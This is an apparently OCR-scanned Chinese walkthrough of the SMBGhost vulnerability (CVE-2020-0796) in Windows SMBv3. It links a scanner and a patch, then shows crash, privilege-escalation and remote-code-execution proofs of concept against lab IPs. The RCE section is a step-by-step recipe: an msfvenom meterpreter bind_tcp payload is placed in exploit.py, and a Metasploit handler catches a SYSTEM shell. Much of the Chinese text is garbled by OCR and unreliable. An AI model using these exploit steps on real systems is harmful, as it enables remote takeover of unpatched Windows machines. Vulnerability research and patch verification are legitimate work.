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git BIAFG - https://github.com/ollypwn/SMBGhost

Bl EES: C\Windows\System32\emd.exe | = (=] |&]

=

Microsoft Windows [fRAS 6.1.76811] _
HF" _ﬁ Cc» 2089 Microsoft Corporation. FE5

D:~>python scanner.py 192.168.130.48
192.168.138.48 — UULNERABLE

IR
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KRR EIRVEER R SMBEAERRA | IXFMENF TS THRARIRR.

FLEMMI R : http://dl.gianxin.com/skylar6/CVE-2020-0796-Scanner.zip



https://github.com/ollypwn/SMBGhost
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
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MNABPRN , FREBRENEZRSMBRIRIEBE TR : http://dlied6.gg.com/inve/QQPatch/QuickFix SMB0796.ex
e

Y BEEEs - SMBTEAEHTREREE T E(CVE-2020-0796)
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http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe

mRFIAR

IEREPOC : https://github.com/eerykitty/CVE-2020-0796-PoC

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.172.128

2 192.168.172.129 - Xshell 4
MR EEE BEV) IEM SH0OW) =EH)
PY BFHe =- ¢ J=meE | B- G =S-B-@-4- 84

& @ 1192168172129 = | @ 2 192.168.172.129

{FROBIRBRINE , FEEFEN.
BANRBMERLERIRER | AERIR

0% TRk
BRI BERATARRATE | W5 )

MEBETFAR | EERELTER:
#2)F{£FS: PAGE FAULT IN NOMPAGED AREA

AHFRMPOC : https://github.com/danigargu/CVE-2020-0796

AiE B BypassiTiEN exp/E38Hcmd& O |, FIHERELsystemiX R,

B EES: C\WINDOWS\System32\cmd.exe
dows [ . 10,0, 13362

IFERIAMAD © https:/github.com/chompie1337/SMBGhost RCE PoC



https://github.com/eerykitty/CVE-2020-0796-PoC
https://github.com/danigargu/CVE-2020-0796
https://github.com/chompie1337/SMBGhost_RCE_PoC

1. fEAmsfvenom&pgpayload
msfvenom -p windows/x64/meterpreter/bind_tcp Tport=1234 -f py -o evil.py
2. Bevil.py &EpgHIcode , EiaFexploit.pyAJUSER_PAYLOADZ %Y , FHESEIbufBIUSER_PAYLOAD,

root@kali:~# git clone https://github.com/chompiel337/SMBGhost_RCE_PoC.git
root@kali:~# cd SMBGhost_RCE_PoC/

root@kali:~/SMBGhost_RCE_PoC# 1s
exploit.py kernel_shellcode.asm Tlzntl.py __pycache__ README.md smb_win.py

3. 1&fT7exploit.py

python3 exploit.py -ip 192.168.172.128

: [ ) exploit.py -ip 192.168.172
[+] found low stub at phys addr 1

ntroller pointer, should have execution shortly...

4, BaimsfialAstizn (PS @ Eiim AR —EWARZshell , TEFHET—IR. )

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set Tport 1234

Tport => 1234

msf5 exploit(multi/handler) > set rhost 192.168.172.128

rhost => 192.168.172.128

msf5 exploit(multi/handler) > exploit



ICP handler agai

S:46 -0400

oration; £+ £° EE{; £
whoami

whoami
nt authority
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